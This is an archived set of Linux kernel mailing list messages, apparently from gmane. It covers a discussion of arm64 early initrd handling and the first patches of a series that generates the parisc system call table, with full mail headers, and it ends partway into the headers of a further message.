 qIWgvr3SIEuR6ayY3f5j0f2ejUMYlYYnKdiHXFlF9uXm1ELrb0YX4GMHz80nRmxvcmlhbiBG
 YWluZWxsaSA8Zi5mYWluZWxsaUBnbWFpbC5jb20+wmYEExECACYCGyMGCwkIBwMCBBUCCAME
 FgIDAQIeAQIXgAUCVF/S8QUJHlwd3wAKCRBhV5kVtWN2DvCVAJ4u4/bPF4P3jxb4qEY8I2gS
 6hG0gACffNWlqJ2T4wSSn+3o7CCZNd7SLSDOw00ESM+4EhAQAL/o09boR9D3Vk1Tt7+gpYr3
 WQ6hgYVON905q2n 
In-Reply-To: <CAL_JsqJrMq+QHvuOsqEdCFchmXsd4s2XKUD_TboKzeEQprJvjg@mail.gmail.com>
Content-Language: en-US
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2908367 gmane.linux.ports.alpha:5376 gmane.linux.kernel.arc:4620 gmane.linux.ports.arm.kernel:681504 gmane.linux.ports.hexagon:1960 gmane.linux.ports.ia64:29440 gmane.linux.ports.mips.general:67190 gmane.linux.ports.parisc:29241 gmane.linux.ports.ppc64.devel:164916 gmane.linux.ports.riscv:1219 gmane.linux.ports.sh.devel:57694 gmane.linux.ports.sparc:28667 gmane.linux.drivers.devicetree:294489 gmane.linux.kernel.cross-arch:48078
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2908367>

On 10/25/18 2:13 PM, Rob Herring wrote:
> On Thu, Oct 25, 2018 at 12:30 PM Mike Rapoport <rppt@linux.ibm.com> wrote:
>>
>> On Thu, Oct 25, 2018 at 08:15:15AM -0500, Rob Herring wrote:
>>> +Ard
>>>
>>> On Thu, Oct 25, 2018 at 4:38 AM Mike Rapoport <rppt@linux.ibm.com> wrote:
>>>>
>>>> On Wed, Oct 24, 2018 at 02:55:17PM -0500, Rob Herring wrote:
>>>>> On Wed, Oct 24, 2018 at 2:33 PM Florian Fainelli <f.fainelli@gmail.com> wrote:
>>>>>>
>>>>>> Hi all,
>>>>>>
>>>>>> While investigating why ARM64 required a ton of objects to be rebuilt
>>>>>> when toggling CONFIG_DEV_BLK_INITRD, it became clear that this was
>>>>>> because we define __early_init_dt_declare_initrd() differently and we do
>>>>>> that in arch/arm64/include/asm/memory.h which gets included by a fair
>>>>>> amount of other header files, and translation units as well.
>>>>>
>>>>> I scratch my head sometimes as to why some config options rebuild so
>>>>> much stuff. One down, ? to go. :)
>>>>>
>>>>>> Changing the value of CONFIG_DEV_BLK_INITRD is a common thing with build
>>>>>> systems that generate two kernels: one with the initramfs and one
>>>>>> without. buildroot is one of these build systems, OpenWrt is also
>>>>>> another one that does this.
>>>>>>
>>>>>> This patch series proposes adding an empty initrd.h to satisfy the need
>>>>>> for drivers/of/fdt.c to unconditionally include that file, and moves the
>>>>>> custom __early_init_dt_declare_initrd() definition away from
>>>>>> asm/memory.h
>>>>>>
>>>>>> This cuts the number of objects rebuilds from 1920 down to 26, so a
>>>>>> factor 73 approximately.
>>>>>>
>>>>>> Apologies for the long CC list, please let me know how you would go
>>>>>> about merging that and if another approach would be preferable, e.g:
>>>>>> introducing a CONFIG_ARCH_INITRD_BELOW_START_OK Kconfig option or
>>>>>> something like that.
>>>>>
>>>>> There may be a better way as of 4.20 because bootmem is now gone and
>>>>> only memblock is used. This should unify what each arch needs to do
>>>>> with initrd early. We need the physical address early for memblock
>>>>> reserving. Then later on we need the virtual address to access the
>>>>> initrd. Perhaps we should just change initrd_start and initrd_end to
>>>>> physical addresses (or add 2 new variables would be less invasive and
>>>>> allow for different translation than __va()). The sanity checks and
>>>>> memblock reserve could also perhaps be moved to a common location.
>>>>>
>>>>> Alternatively, given arm64 is the only oddball, I'd be fine with an
>>>>> "if (IS_ENABLED(CONFIG_ARM64))" condition in the default
>>>>> __early_init_dt_declare_initrd as long as we have a path to removing
>>>>> it like the above option.
>>>>
>>>> I think arm64 does not have to redefine __early_init_dt_declare_initrd().
>>>> Something like this might be just all we need (completely untested,
>>>> probably it won't even compile):
>>>>
>>>> diff --git a/arch/arm64/mm/init.c b/arch/arm64/mm/init.c
>>>> index 9d9582c..e9ca238 100644
>>>> --- a/arch/arm64/mm/init.c
>>>> +++ b/arch/arm64/mm/init.c
>>>> @@ -62,6 +62,9 @@ s64 memstart_addr __ro_after_init = -1;
>>>>  phys_addr_t arm64_dma_phys_limit __ro_after_init;
>>>>
>>>>  #ifdef CONFIG_BLK_DEV_INITRD
>>>> +
>>>> +static phys_addr_t initrd_start_phys, initrd_end_phys;
>>>> +
>>>>  static int __init early_initrd(char *p)
>>>>  {
>>>>         unsigned long start, size;
>>>> @@ -71,8 +74,8 @@ static int __init early_initrd(char *p)
>>>>         if (*endp == ',') {
>>>>                 size = memparse(endp + 1, NULL);
>>>>
>>>> -               initrd_start = start;
>>>> -               initrd_end = start + size;
>>>> +               initrd_start_phys = start;
>>>> +               initrd_end_phys = end;
>>>>         }
>>>>         return 0;
>>>>  }
>>>> @@ -407,14 +410,27 @@ void __init arm64_memblock_init(void)
>>>>                 memblock_add(__pa_symbol(_text), (u64)(_end - _text));
>>>>         }
>>>>
>>>> -       if (IS_ENABLED(CONFIG_BLK_DEV_INITRD) && initrd_start) {
>>>> +       if (IS_ENABLED(CONFIG_BLK_DEV_INITRD) &&
>>>> +           (initrd_start || initrd_start_phys)) {
>>>> +               /*
>>>> +                * FIXME: ensure proper precendence between
>>>> +                * early_initrd and DT when both are present
>>>
>>> Command line takes precedence, so just reverse the order.
>>>
>>>> +                */
>>>> +               if (initrd_start) {
>>>> +                       initrd_start_phys = __phys_to_virt(initrd_start);
>>>> +                       initrd_end_phys = __phys_to_virt(initrd_end);
> 
> BTW, I think you meant virt_to_phys() here?
> 
>>>
>>> AIUI, the original issue was doing the P2V translation was happening
>>> too early and the VA could be wrong if the linear range is adjusted.
>>> So I don't think this would work.
>>
>> Probably things have changed since then, but in the current code there is
>>
>>                 initrd_start = __phys_to_virt(initrd_start);
>>
>> and in between only the code related to CONFIG_RANDOMIZE_BASE, so I believe
>> it's safe to use __phys_to_virt() here as well.
> 
> Here is fine yes, but I believe it was the the phys to virt in the DT
> code before adjusting the linear range that was the problem.

FWIW, I am extracting the ARM implementation that parses the initrd
early command line parameter and the "setup" code doing the page
boundary alignment and memblock checking into a helper into lib/ that
other architectures can re-use. So far, this removes the need for
unicore32, arc and arm to duplicate essentially the same logic.
-- 
Florian


From - Thu Nov 08 21:42:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Firoz Khan <firoz.khan@linaro.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.year-2038,gmane.linux.kernel.cross-arch
Subject: [PATCH v6 0/5] parisc: system call table generation support
Date: Fri, 26 Oct 2018 10:43:06 +0530
Lines: 67
Approved: news@gmane.org
Message-ID: <1540530791-3961-1-git-send-email-firoz.khan@linaro.org>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1540530700 24350 195.159.176.226 (26 Oct 2018 05:11:40 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 26 Oct 2018 05:11:40 +0000 (UTC)
Cc: y2038@lists.linaro.org, linux-kernel@vger.kernel.org,
        linux-arch@vger.kernel.org, arnd@arndb.de, deepa.kernel@gmail.com,
        marcin.juszkiewicz@linaro.org, firoz.khan@linaro.org
To: linux-parisc@vger.kernel.org,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Thomas Gleixner <tglx@linutronix.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Kate Stewart <kstewart@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Oct 26 07:11:34 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1gFuPG-0006Cs-Fo
	for glk-linux-kernel-4@m.gmane.org; Fri, 26 Oct 2018 07:11:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1726159AbeJZNtN (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 26 Oct 2018 09:49:13 -0400
Original-Received: from mail-pg1-f195.google.com ([209.85.215.195]:44922 "EHLO
        mail-pg1-f195.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1725907AbeJZNtM (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 26 Oct 2018 09:49:12 -0400
Original-Received: by mail-pg1-f195.google.com with SMTP id w3-v6so5095694pgs.11
        for <linux-kernel@vger.kernel.org>; Thu, 25 Oct 2018 22:13:42 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=linaro.org; s=google;
        h=from:to:cc:subject:date:message-id;
        bh=PYh2oM+9zU8CExfKq8duTfH7XMAOfaOBGAvLLUe6XBA=;
        b=P6FPLJpHhU0IUOJXIYO82IX6SPbs1jQmnU7BUKiu9PqUvo0n3L9PtugUhUWw/elQss
         dBfhh37F+L213tmhs/RDI2TUwbdCGE2LdCQ5bMHLt4m4URiL6DDNjNHCG+zZBOlIAmwO
         oYUkOWts4qDf4z3LKtQRsePIVy8yCX3dJerJQ=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id;
        bh=PYh2oM+9zU8CExfKq8duTfH7XMAOfaOBGAvLLUe6XBA=;
        b=JQ+2lN4wonuhkyjUqaSfJnZ2gGETwUww6MfbwpCKxrfT6SxZqqNz2SiOTErNWTl/hF
         HhJCxoByPAgqawxdw1wVquiQl5cAZvBlmxOnWMJwDMnxBm4f9ogCLwS+O9vHOuigY0S4
         lKFyh97TIzCcFvQ532ko1r1p51cx2OgTo87KShQL5BdtXUlBPwXjejzjU7rcxiWz9ojb
         nn/gzXCPzgO14HohJCmKtrVitCmOq3N8lv/4QvQfEtHvT2pE1rrDEnujZ+V3OUpBviLG
         c5T9yJZdSCZujVMx4J8bIBhyuXa4EuQ4Rf5cPr/v6dypmApUwSTPMdNQxNKV4FaeXMHd
         Q03w==
X-Gm-Message-State: AGRZ1gJK/kTdVhKY62Pgse4/+hVAiISVJawNg8Tbx8DP8lV5iaTG25gu
        JxpBIe/vAxNAhNKKHPsp5q8sQg==
X-Google-Smtp-Source: AJdET5dO3TSUgGr/TZIx1/AnIz1s2T1XpnjkKl9Q4hexxOh6jsSmEwFr2Qvh6qGtwVJ4wMBwIcgTAw==
X-Received: by 2002:a63:d208:: with SMTP id a8-v6mr1921853pgg.99.1540530821976;
        Thu, 25 Oct 2018 22:13:41 -0700 (PDT)
Original-Received: from qualcomm-HP-ZBook-14-G2.domain.name ([49.207.61.165])
        by smtp.gmail.com with ESMTPSA id m16-v6sm3329302pff.173.2018.10.25.22.13.37
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Thu, 25 Oct 2018 22:13:41 -0700 (PDT)
X-Mailer: git-send-email 2.7.4
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2908461 gmane.linux.ports.parisc:29242 gmane.linux.kernel.year-2038:3552 gmane.linux.kernel.cross-arch:48094
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2908461>

The purpose of this patch series is, we can easily add/modify/delete
system call table support by changing entry in syscall.tbl file 
instead of manually changing many files. The other goal is to unify 
the system call table generation support implementation across all 
the architectures. 

The system call tables are in different format in all architecture. 
It will be difficult to manually add, modify or delete the system 
calls in the respective files manually. To make it easy by keeping
a script and which'll generate uapi header file and syscall table 
file.

syscall.tbl contains the list of available system calls along with 
system call number and corresponding entry point. Add a new system 
call in this architecture will be possible by adding new entry in 
the syscall.tbl file.

Adding a new table entry consisting of:
        - System call number.
        - ABI.
        - System call name.
        - Entry point name.
	- Compat entry name, if required.

ARM, s390 and x86 architecuture does exist the similar support. I 
leverage their implementation to come up with a generic solution.

I have done the same support for work for alpha, ia64, m68k, micro-
blaze, mips, powerpc, sh, sparc, and xtensa. Below mentioned git
repository contains more details.
Git repo:- https://github.com/frzkhn/system_call_table_generator/

Finally, this is the ground work to solve the Y2038 issue. We need 
to add two dozen of system calls to solve Y2038 issue. So this patch
series will help to add new system calls easily by adding new entry 
in the syscall.tbl.

Firoz Khan (5):
  parisc: move __IGNORE* entries to non uapi header
  parisc: add __NR_syscalls along with __NR_Linux_syscalls
  parisc: add system call table generation support
  parisc: generate uapi header and system call table files
  parisc: syscalls: ignore nfsservctl for other architectures

 arch/parisc/Makefile                      |   4 +
 arch/parisc/include/asm/Kbuild            |   3 +
 arch/parisc/include/asm/unistd.h          |   8 +
 arch/parisc/include/uapi/asm/Kbuild       |   2 +
 arch/parisc/include/uapi/asm/unistd.h     | 382 +------------------------
 arch/parisc/kernel/syscall.S              |  11 +-
 arch/parisc/kernel/syscall_table.S        | 459 ------------------------------
 arch/parisc/kernel/syscalls/Makefile      |  57 ++++
 arch/parisc/kernel/syscalls/syscall.tbl   | 369 ++++++++++++++++++++++++
 arch/parisc/kernel/syscalls/syscallhdr.sh |  36 +++
 arch/parisc/kernel/syscalls/syscalltbl.sh |  36 +++
 scripts/checksyscalls.sh                  |   1 +
 12 files changed, 532 insertions(+), 836 deletions(-)
 delete mode 100644 arch/parisc/kernel/syscall_table.S
 create mode 100644 arch/parisc/kernel/syscalls/Makefile
 create mode 100644 arch/parisc/kernel/syscalls/syscall.tbl
 create mode 100644 arch/parisc/kernel/syscalls/syscallhdr.sh
 create mode 100644 arch/parisc/kernel/syscalls/syscalltbl.sh

-- 
1.9.1



From - Thu Nov 08 21:42:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Firoz Khan <firoz.khan@linaro.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.year-2038,gmane.linux.kernel.cross-arch
Subject: [PATCH v6 1/5] parisc: move __IGNORE* entries to non uapi header
Date: Fri, 26 Oct 2018 10:43:07 +0530
Lines: 57
Approved: news@gmane.org
Message-ID: <1540530791-3961-2-git-send-email-firoz.khan@linaro.org>
References: <1540530791-3961-1-git-send-email-firoz.khan@linaro.org>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1540530708 24907 195.159.176.226 (26 Oct 2018 05:11:48 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 26 Oct 2018 05:11:48 +0000 (UTC)
Cc: y2038@lists.linaro.org, linux-kernel@vger.kernel.org,
        linux-arch@vger.kernel.org, arnd@arndb.de, deepa.kernel@gmail.com,
        marcin.juszkiewicz@linaro.org, firoz.khan@linaro.org
To: linux-parisc@vger.kernel.org,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Thomas Gleixner <tglx@linutronix.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Kate Stewart <kstewart@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Oct 26 07:11:42 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1gFuPL-0006Cs-0r
	for glk-linux-kernel-4@m.gmane.org; Fri, 26 Oct 2018 07:11:39 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1726037AbeJZNtS (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 26 Oct 2018 09:49:18 -0400
Original-Received: from mail-pf1-f194.google.com ([209.85.210.194]:37683 "EHLO
        mail-pf1-f194.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726028AbeJZNtS (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 26 Oct 2018 09:49:18 -0400
Original-Received: by mail-pf1-f194.google.com with SMTP id j23-v6so5327937pfi.4
        for <linux-kernel@vger.kernel.org>; Thu, 25 Oct 2018 22:13:48 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=linaro.org; s=google;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=KU6DXIIYUjCMDre4JgDcgc8e7hiA/7vLtU/zXJn/n5E=;
        b=joSUBbymzWhrw4Ir4RK85fifCpmhjJy3C/aL/ReLcVVhQvvy5IGi6CtAqAGQV0IsEY
         pGaLS3CKahKx560UniiLK8i5Fug4ApjXVSlu6io/QvOd+EbMjaO2xlmqGfXj6oJE6ZXN
         FCmutICIRIvx+ZiqRC1W3mCQW8MKm4Pe+pwYc=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=KU6DXIIYUjCMDre4JgDcgc8e7hiA/7vLtU/zXJn/n5E=;
        b=X7C7O1KXYGP9tFRcggCoQpPqkFlPAJXGQS5NZbilsInRPWjum1hG1ehz3UWgwj7mSp
         ANTay/Gfhvur7HFa1LBTcL65KyUZZJdPEZ4NNdWqphXhiUBb6ip7b5GK8nEx7KRBBxJU
         JWkd7Cpz5tWZkxq3PKTJZkT3yJXgw2SHgqNHGGVhVjeDCxGRak31F7dAT0x9au2sbmcM
         Sy1HtFC4rhwDG/tXtfua8iJ+45toOj5/6FgC4qTnmq8WseQfEuO9kWPmhifPvawC2hod
         fuakV5ZilEWPXrxBFuzLgfyFWvXpPp8a+skthOHQ5ZI/y8BaWINtokalXUl81zXUBrgz
         S6mA==
X-Gm-Message-State: AGRZ1gK28bs83gkp7u+cbqsVuD/MNWpA0e2m3UIMiGNsXlRPV4YJsRPk
        LWjZjiOQsfTSlNF9qDc4XkEgBA==
X-Google-Smtp-Source: AJdET5d1A8tfUUrFoYWTaYFzc5eS39pbNLA79NfXtKmeed1g8taZJ5Ji7JZPRR3p7FixJwHJXVBlgQ==
X-Received: by 2002:a62:d046:: with SMTP id p67-v6mr2277940pfg.147.1540530827984;
        Thu, 25 Oct 2018 22:13:47 -0700 (PDT)
Original-Received: from qualcomm-HP-ZBook-14-G2.domain.name ([49.207.61.165])
        by smtp.gmail.com with ESMTPSA id m16-v6sm3329302pff.173.2018.10.25.22.13.42
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Thu, 25 Oct 2018 22:13:47 -0700 (PDT)
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1540530791-3961-1-git-send-email-firoz.khan@linaro.org>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2908462 gmane.linux.ports.parisc:29243 gmane.linux.kernel.year-2038:3553 gmane.linux.kernel.cross-arch:48095
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2908462>

All the __IGNORE* entries are resides in the uapi header
file move to non uapi header asm/unistd.h as it is not
used by any user space applications.

It is correct to keep __IGNORE* entry in non uapi header
asm/unistd.h while uapi/asm/unistd.h must hold information
only useful for user space applications.

One of the patch in this patch series will generate uapi
header file. The information which directly used by the
user space application must be present in uapi file.

Signed-off-by: Firoz Khan <firoz.khan@linaro.org>
---
 arch/parisc/include/asm/unistd.h      | 6 ++++++
 arch/parisc/include/uapi/asm/unistd.h | 7 -------
 2 files changed, 6 insertions(+), 7 deletions(-)

diff --git a/arch/parisc/include/asm/unistd.h b/arch/parisc/include/asm/unistd.h
index 3d507d0..93fd9f6 100644
--- a/arch/parisc/include/asm/unistd.h
+++ b/arch/parisc/include/asm/unistd.h
@@ -8,6 +8,12 @@
 
 #define SYS_ify(syscall_name)   __NR_##syscall_name
 
+#define __IGNORE_select                /* newselect */
+#define __IGNORE_fadvise64             /* fadvise64_64 */
+#define __IGNORE_pkey_mprotect
+#define __IGNORE_pkey_alloc
+#define __IGNORE_pkey_free
+
 #ifndef ASM_LINE_SEP
 # define ASM_LINE_SEP ;
 #endif
diff --git a/arch/parisc/include/uapi/asm/unistd.h b/arch/parisc/include/uapi/asm/unistd.h
index dc77c5a..bb52e12 100644
--- a/arch/parisc/include/uapi/asm/unistd.h
+++ b/arch/parisc/include/uapi/asm/unistd.h
@@ -368,13 +368,6 @@
 
 #define __NR_Linux_syscalls	(__NR_io_pgetevents + 1)
 
-
-#define __IGNORE_select		/* newselect */
-#define __IGNORE_fadvise64	/* fadvise64_64 */
-#define __IGNORE_pkey_mprotect
-#define __IGNORE_pkey_alloc
-#define __IGNORE_pkey_free
-
 #define LINUX_GATEWAY_ADDR      0x100
 
 #endif /* _UAPI_ASM_PARISC_UNISTD_H_ */
-- 
1.9.1



From - Thu Nov 08 21:42:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Firoz Khan <firoz.khan@linaro.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.year-2038,gmane.linux.kernel.cross-arch
Subject: [PATCH v6 2/5] parisc: add __NR_syscalls along with __NR_Linux_syscalls
Date: Fri, 26 Oct 2018 10:43:08 +0530
Lines: 67
Approved: news@gmane.org
Message-ID: <1540530791-3961-3-git-send-email-firoz.khan@linaro.org>
References: <1540530791-3961-1-git-send-email-firoz.khan@linaro.org>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1540530711 25118 195.159.176.226 (26 Oct 2018 05:11:51 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 26 Oct 2018 05:11:51 +0000 (UTC)
Cc: y2038@lists.linaro.org, linux-kernel@vger.kernel.org,
        linux-arch@vger.kernel.org, arnd@arndb.de, deepa.kernel@gmail.com,
        marcin.juszkiewicz@linaro.org, firoz.khan@linaro.org
To: linux-parisc@vger.kernel.org,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Thomas Gleixner <tglx@linutronix.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Kate Stewart <kstewart@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Oct 26 07:11:46 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1gFuPR-0006QP-PE
	for glk-linux-kernel-4@m.gmane.org; Fri, 26 Oct 2018 07:11:46 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1726532AbeJZNtY (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 26 Oct 2018 09:49:24 -0400
Original-Received: from mail-pf1-f196.google.com ([209.85.210.196]:38792 "EHLO
        mail-pf1-f196.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726028AbeJZNtY (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 26 Oct 2018 09:49:24 -0400
Original-Received: by mail-pf1-f196.google.com with SMTP id b11-v6so3675595pfi.5
        for <linux-kernel@vger.kernel.org>; Thu, 25 Oct 2018 22:13:54 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=linaro.org; s=google;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=gFcNXBX4l/6xItKhlgwTdqFlyHeCmRMGvdyUvQXs28g=;
        b=IiKyv8FeEAYyyW5ogH84j8mr5KrgMCL2k7oqKi7G8CsLL3y6G6zNO+ij0Mu8kNtdCN
         0X+8FQrwVqUBMwysTfrZaMDyaUJ7Nc1ZOmua8mB8Mt4jkCKrCB59ZfIRVyldoguJblOS
         ozFKhVmdFoNK/AvMbS7Ya5chx7P/+cpZhAmXw=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=gFcNXBX4l/6xItKhlgwTdqFlyHeCmRMGvdyUvQXs28g=;
        b=FlWdMGmOxSDAUjy+2IEinhgYB7B8m+6pwyGJj19r6cxJ2tEfH69s/N8HHzthJL1s+V
         YYYWDkqqDciUZiiVetVtjMVO7rnnnHp1A9WvyuGUgFotcZT+LUfs1LBCBS4gdqVbj2ea
         QYfmNtXYWoSbw426J9g52W1hFAtcPzVOdkMCGCEOdZdOD4254K041QkFrro21AnVxCbm
         L/p+27//ldemUZmKJmEpK51wkqI291DdVdSZxYT3zrqN4VRALBMZ0DyKImThxYxeb7pM
         ugz6JSt0CmBUQ4vIrUI/z/mUoF3XvzowGhWXKtaFpX2zSIjFVr+0rWdI/a/lR072xPQB
         4g+w==
X-Gm-Message-State: AGRZ1gJWIRqlKe6dPsds7Txe/vaoQ1Ak0/K3axU8IviSImIFOhAoGzWa
        DiMPOAXSOIYmSgDbMdwVHj34Kg==
X-Google-Smtp-Source: AJdET5eaQerlqiKMXyUh4WfxfnaoRHsWuhRYCUddCVer2+HTmtuS1hur5Fgp1ctLyRQgm+iQzYw+VQ==
X-Received: by 2002:a63:f050:: with SMTP id s16-v6mr2054957pgj.403.1540530833916;
        Thu, 25 Oct 2018 22:13:53 -0700 (PDT)
Original-Received: from qualcomm-HP-ZBook-14-G2.domain.name ([49.207.61.165])
        by smtp.gmail.com with ESMTPSA id m16-v6sm3329302pff.173.2018.10.25.22.13.48
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Thu, 25 Oct 2018 22:13:53 -0700 (PDT)
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1540530791-3961-1-git-send-email-firoz.khan@linaro.org>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2908463 gmane.linux.ports.parisc:29244 gmane.linux.kernel.year-2038:3554 gmane.linux.kernel.cross-arch:48096
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2908463>

__NR_Linux_syscalls macro holds the number of system call
exist in parisc architecture. We have to change the value
of __NR_Linux_syscalls, if we add or delete a system call.

One of the patch in this patch series has a script which
will generate a uapi header based on syscall.tbl file.
The syscall.tbl file contains the total number of system
calls information. So we have two option to update __NR-
_Linux_syscalls value.

1. Update __NR_Linux_syscalls in asm/unistd.h manually by
   counting the no.of system calls. No need to update __NR-
   _Linux_syscalls until we either add a new system call or
   delete existing system call.

2. We can keep this feature it above mentioned script,
   that will count the number of syscalls and keep it in
   a generated file. In this case we don't need to expli-
   citly update __NR_Linux_syscalls in asm/unistd.h file.

The 2nd option will be the recommended one. For that, I
added the __NR_syscalls macro in uapi/asm/unistd.h along
with __NR_Linux_syscalls asm/unistd.h. The macro __NR_sys-
calls also added for making the name convention same across
all architecture. While __NR_syscalls isn't strictly part
of the uapi, having it as part of the generated header to
simplifies the implementation. We also need to enclose
this macro with #ifdef __KERNEL__ to avoid side effects.

Signed-off-by: Firoz Khan <firoz.khan@linaro.org>
---
 arch/parisc/include/asm/unistd.h      | 2 ++
 arch/parisc/include/uapi/asm/unistd.h | 4 +++-
 2 files changed, 5 insertions(+), 1 deletion(-)

diff --git a/arch/parisc/include/asm/unistd.h b/arch/parisc/include/asm/unistd.h
index 93fd9f6..d30fdbcb 100644
--- a/arch/parisc/include/asm/unistd.h
+++ b/arch/parisc/include/asm/unistd.h
@@ -4,6 +4,8 @@
 
 #include <uapi/asm/unistd.h>
 
+#define __NR_Linux_syscalls     __NR_syscalls
+
 #ifndef __ASSEMBLY__
 
 #define SYS_ify(syscall_name)   __NR_##syscall_name
diff --git a/arch/parisc/include/uapi/asm/unistd.h b/arch/parisc/include/uapi/asm/unistd.h
index bb52e12..f10d065 100644
--- a/arch/parisc/include/uapi/asm/unistd.h
+++ b/arch/parisc/include/uapi/asm/unistd.h
@@ -366,7 +366,9 @@
 #define __NR_statx		(__NR_Linux + 349)
 #define __NR_io_pgetevents	(__NR_Linux + 350)
 
-#define __NR_Linux_syscalls	(__NR_io_pgetevents + 1)
+#ifdef __KERNEL__
+#define __NR_syscalls           351
+#endif
 
 #define LINUX_GATEWAY_ADDR      0x100
 
-- 
1.9.1



From - Thu Nov 08 21:42:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Firoz Khan <firoz.khan@linaro.org>
